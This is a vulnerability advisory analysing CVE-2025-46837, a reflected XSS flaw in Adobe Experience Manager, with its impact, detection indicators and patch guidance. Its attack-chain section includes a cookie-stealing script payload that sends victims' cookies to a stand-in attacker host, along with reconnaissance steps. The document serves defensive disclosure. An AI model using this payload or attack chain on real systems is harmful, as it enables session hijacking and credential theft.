CVE-2025-46837: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46837 is a reflected Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields, which are then executed in a victim's browser. It affects AEM versions 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 8.7 (High) (Adobe Advisory).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79: Cross-site Scripting) combined with improper input validation (CWE-20). As a reflected XSS vulnerability, an attacker crafts a malicious URL or form submission containing a JavaScript payload targeting vulnerable form fields in AEM; when a victim visits the crafted link, the server reflects the unsanitized input back in the HTTP response, causing the browser to execute the injected script. Exploitation requires the attacker to have low-level privileges and to socially engineer a victim into clicking a malicious link (user interaction required), with the scope of impact extending beyond the vulnerable component (changed scope) (Adobe Advisory).

Successful exploitation can lead to session takeover, enabling an attacker to impersonate the victim and perform unauthorized actions within AEM. Both confidentiality and integrity are rated as high impact — an attacker could exfiltrate session tokens, credentials, or sensitive content, and manipulate data or configurations within the CMS. Availability is not directly impacted, but a compromised privileged session could be leveraged for further lateral movement within the AEM environment (Adobe Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is approximately 0.041%, indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier (on-premises) or Cloud Service versions prior to 2025.5.0 using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Identify vulnerable form fields: Browse the target AEM instance to locate form fields that reflect user input in the HTTP response without proper sanitization.
3. Craft malicious payload: Construct a URL or form submission containing a reflected XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) targeting the vulnerable parameter.
4. Deliver to victim: Use phishing, email, or other social engineering techniques to trick a logged-in AEM user into clicking the crafted link.
5. Achieve session takeover: The victim's browser executes the injected JavaScript, sending their session cookie or credentials to the attacker's server, enabling account takeover (Adobe Advisory).

• Network: Outbound HTTP requests from a victim's browser to unexpected external domains shortly after accessing an AEM page; unusual query parameters in AEM access logs containing encoded JavaScript (e.g., %3Cscript%3E, javascript:, onerror=).
• Logs: AEM access logs showing requests to form-handling endpoints with abnormally long or encoded query strings; repeated requests from the same IP with XSS-pattern payloads in URL parameters.
• Session/Auth: Unexpected session activity from new IP addresses or user agents immediately following a user's interaction with a suspicious link; multiple simultaneous sessions for the same user account.

Adobe has released patches addressing this vulnerability: upgrade AEM on-premises to version 6.5.23.0 or later, and AEM Cloud Service to version 2025.5.0 or later. No official configuration-based workaround has been published; upgrading is the recommended remediation. As supplementary hardening, organizations should implement strict Content Security Policy (CSP) headers, enforce input validation and output encoding on all form fields, and monitor AEM access logs for anomalous input patterns (Adobe Advisory).

The vulnerability was noted in a CIS advisory covering multiple Adobe product vulnerabilities released in June 2025, categorized under advisories that could allow for arbitrary code execution across Adobe products (CIS Advisory). Coverage was also aggregated by vulnerability tracking services including Tenable and CVEFeed. No significant independent researcher commentary or social media discussion specific to this CVE has been identified.